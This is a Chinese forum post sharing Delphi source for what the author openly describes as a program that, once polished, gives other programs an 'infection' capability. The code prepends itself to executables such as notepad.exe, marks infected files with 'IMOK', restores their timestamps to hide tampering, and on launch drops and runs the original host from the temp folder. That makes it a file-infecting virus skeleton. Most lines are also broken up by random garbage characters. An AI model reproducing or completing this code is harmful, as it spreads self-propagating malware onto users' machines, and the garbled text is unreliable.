给点有有技术含量的源码(DELPHI版)
以下程序完善后可以和其它程序捆在一起,当然包括XX,使其变成具有"传染"功能的程序,不多哆嗦了...8 w+ d4 ]0 F4 o) T: f- a: J
7 v9 i* v9 u% ~7 e+ t* ?: A$ Q9 C% q# Wprogram intoexe;( @5 W, J! Y4 v5 s+ j
! [. |+ x+ S- \+ [uses0 d" s; D w l5 K5 P$ v5 g, K
classes,# p# r, @0 h5 @( Y! z" U
Tlhelp32,+ j) ~; h4 Z" A- o
windows,
) b' p1 f$ l, V SysUtils;
$ s- M$ F6 c' l2 r9 |0 y
& }2 V. Z" r9 P( j: K# h{$R *.RES}' l* ?4 `& |9 h' D9 ^4 v
var
! ?' q7 O. Q; [9 k0 H/ b lppe:TProcessEntry32;" w0 b/ Y' v% A
found:boolean;
; w, |2 F, V0 v6 H0 ~ \$ {+ t5 G handle:THandle;
+ G( M. j+ P/ [: q& O# A# _ ProcessStr,ExeName:string;
% t% u# p# }2 W8 s( W$ Q$ l WinDir:pchar;
5 u5 b3 k' M# X3 j. Oconst: m+ l1 \1 h6 x: w; I/ C
MySize=64000; //根据编译或压缩后的文件大小进行修改0 R# B: B5 ?8 c! e( X* j& y q' J
8 U* k" X) d; y* |2 ^# u2 Eprocedure copy2(s:string);+ V0 D: Y+ Q7 D( ?3 ^
var4 T. M% W# U6 a
s1,s2:TMemoryStream;
% C: i! m; v3 u1 [2 ` files2:TFilestream;& O% k/ I5 I2 D4 ?9 B6 _
ch:array[0..3] of char;
; q& D, D2 r3 | ss:string;7 b3 G' w7 a8 o# |
filetime,fhandle:integer;! X1 s- k' G5 k2 [1 u3 _: |
begin! O7 Q# V5 e- T3 [' ?; f" E9 l' a
//若文件s不存在
/ `: ^4 q3 j6 x if FileExists(s)=False then exit;
6 ?; M6 Z9 {. V6 K try
- z/ F) ^' D% S* \ M' y; [ //判断文件s中有没有特殊标记。若有，表示已经合并过
6 d; w" }' ] Q1 U8 e //在本程序编译或压缩后，用十六进制软件进行修改，在偏移200处加入标记'IMOK'0 F/ J6 }, x- a9 o8 G
//用debug也可进行修改(对exe文件，要先更改EXE扩展名)。例:* e+ m" |! `! z4 u" x3 ?8 f' k
//-e 1C8
" p7 V, ~% P- v8 [ //127D:01C8 00._ <-键入新的十六进制值
* P: b; P& V3 c) u: [( ^3 V1 s //-w <-保存文件
" N# p0 n: W) z$ t$ W) W. I files2:=TFilestream.Create(s,fmopenread);( z/ J9 i# ?3 L5 s* r* V; b
files2.Position:=200;
6 i1 X! E0 Y+ z( B' P" H files2.Read(ch,4);3 N; b$ A: x* [7 ]0 I
ss:=copy(ch,1,4);4 j8 W0 y2 G5 ~
files2.Free;7 ~" A2 s/ D. L M- s7 q9 T1 e+ p
if ss='IMOK' then exit;; e$ H1 J8 _# A% p0 U0 _' u; v
//将本文件与文件s合并 本文件+s=s
4 L7 ~% T. R5 R3 k s2:=TMemoryStream.Create;% G; L6 @5 Y: X6 i) J7 B: J6 Z+ g
s2.loadfromfile(ExeName);
: K% X: H; Z2 ]7 @' x s1:=TMemoryStream.Create;7 p7 x U, R: h: w8 o
s1.copyfrom(s2,MySize);- k* E5 e7 F2 I) C
s2.clear;
! R+ }" x! T: y- ^ s2.loadfromfile(s);, j/ J& f1 l/ K4 A2 ]! x; i/ T
s1.seek(s1.size,soFromBeginning);' x5 m0 o; i5 q) H
s1.copyfrom(s2,s2.size);, r+ M# Q# f7 ~7 Z" X' a; c
s2.free;
3 {* N* L; h$ q! j4 V //得到文件s的日期5 N" e. e9 G! O* ?5 w8 S, X* c9 D6 A
fhandle:=FileOpen(s, fmOpenread);- e8 S# `: s9 x
filetime:=filegetdate(fhandle);& I* C5 q* H' \% ]' u
fileclose(fhandle);' K8 a/ \" u0 z7 n3 D- O. j* [
s1.SaveToFile(s);- _' r9 x; t5 V# v' ]+ Q# S
//恢复文件s的日期2 q- j b9 }4 j8 [* o
fhandle:=FileOpen(s, fmOpenwrite);
' w( c, |# z% h* Q% X: I filesetdate(fhandle,filetime);9 m {7 p3 l# c% a' B# s8 {9 {
fileclose(fhandle);1 m7 R+ T/ q: L3 y
s1.free;7 J5 S9 O8 E1 y! g3 u( J8 D
except end;" e* N8 m) s3 e3 f% l1 a; m. c- A" _% H
end;
0 ~3 f1 f0 v0 I1 `% G' G0 v4 S; O3 c+ E$ `! Z
procedure CreateFileAndRun;
! i, i1 I; u; @5 \. s9 |var; M: c1 \" T% D8 x- e$ w# C
s1,s2:TMemoryStream;- B/ Q8 m8 \# d. ^9 `" |& ~1 k
TempDir:pchar;
) S4 P+ ]2 `) W& p$ g/ J$ U& H cmdstr:string;: U: { F; x1 s2 Y0 n
a:integer; q) H9 e l: L
Begin
+ c4 n0 B+ g& y9 Q9 p0 E* B" }7 Z s1:=TMemoryStream.Create;
3 k: l; d& S2 P" V2 j! @ s1.loadfromfile(ExeName);; x1 ~- i! p7 T3 K; A
if s1.Size=MySize then
) _# a/ |( N& C, T$ A begin
3 U6 w: v6 o% q' i& y, R1 O s1.Free;
$ x. t9 I, P1 v5 p exit;# M5 }: q3 ~2 S3 {, k& U5 Z
end;$ e) o q- q$ G. @) H0 V1 D
s1.seek(MySize,soFromBeginning);) Y. J( r% d7 W c( W8 ~
s2:=TMemoryStream.Create;
- D$ ]5 f, o+ g. @4 _ s2.copyfrom(s1,s1.Size-MySize);; b% J. b+ [4 H+ m j' y
GetMem(TempDir,255);
) P, ?# _! c) ?+ O. K3 w" g+ Y GetTempPath(255,TempDir);
% B. }( Z" V4 ~% s4 _ s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));% E( M8 c2 E5 B
except + [: I8 @$ k/ Y+ ^& e; {
end;
- I5 j$ c3 A$ y( H- Q) D) X cmdstr:='';
3 {# e9 N' V2 ~' a2 a. v5 H a:=1;+ G0 A1 J) h0 ~" X# t: g
while ParamStr(a)<>'' do begin+ Z# |8 h3 b; s
cmdstr:=cmdstr+ParamStr(a)+' ';0 ^$ f) i5 a* T6 W/ _
inc(a);
' T8 ~5 `# C0 h+ u- p, t3 {3 t" s+ U end;
6 J H4 ~0 w3 s/ P" X' F winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
" U" b. J+ H3 G2 J ` freemem(TempDir);+ A$ l( U; ~& o, f5 g! g9 m
s2.free;
, F" y( x: z4 _! A$ D( N s1.free;( l/ Y7 u2 D2 H) {7 \+ i
end;
. D9 t; ^1 D# T i7 S# a$ ?8 p7 G3 R3 X8 y, G$ i3 \7 j
begin
% k+ O- E$ |' X7 w" g GetMem(WinDir,255);. T# ^2 z: @ q' k6 ?& s2 O
GetWindowsDirectory(WinDir,255);, k* b/ B- z3 Y/ y9 T6 ~/ ~+ I, c5 a) R
ExeName:=ParamStr(0);
0 P# R8 Z- F: g handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);- V7 D1 Q! }5 A, @8 w
found:=Process32First(handle,lppe);! k! @# s, a9 Z# ?* x
ProcessStr:='';
& N/ m+ p3 a. u; M0 J while found do
* R" ]1 F/ Z. I% B# G) F begin( C# v: u1 ~3 O9 k5 p7 J& L
ProcessStr:=ProcessStr+lppe.szExeFile;//列出所有进程。8 P! E9 t# o" h; [! `
found:=Process32Next(handle,lppe);
; h( T+ U {9 i2 b# A: S* v1 h/ C, ~ end;! q, i7 i( K$ \; B0 k
if pos(WinDir+'\notepad.exe',ProcessStr)=0 then9 c7 V j4 h& s) h9 w
begin
" y; T$ Z2 d/ ~* e) y) ^ copy2(WinDir+'\notepad.exe');4 \% A9 R4 \ ~( t/ ^
end;6 r( ^* _5 `# n, F4 T
{其它需要合并的文件! S6 S9 }" X b X4 p8 u
if pos(...,ProcessStr)=0 then
% {8 Q6 D1 p/ U8 _ begin, v t5 ~1 K! L
copy2(...);
# z! U- d! W) t4 X end;
; _. \7 t/ p; t2 w* S ...
6 E- W/ w: [$ E( U. k }1 V% ]5 @, Z1 j8 [5 W8 D. m5 F) D
freemem(WinDir);$ d" O" c; t6 c1 S, e( J& V: K
{
5 `/ q% _6 M+ F% A: H/ C! x% \ 你想用这个程序干点其它的什么...
) f% ]' o: Y2 ]# T& ~3 i+ r2 f }# A; L S, }- q2 ~% H
CreateFileAndRun;//释放文件并带参数运行
6 e! y. u$ z: l& a4 M+ |' rend.
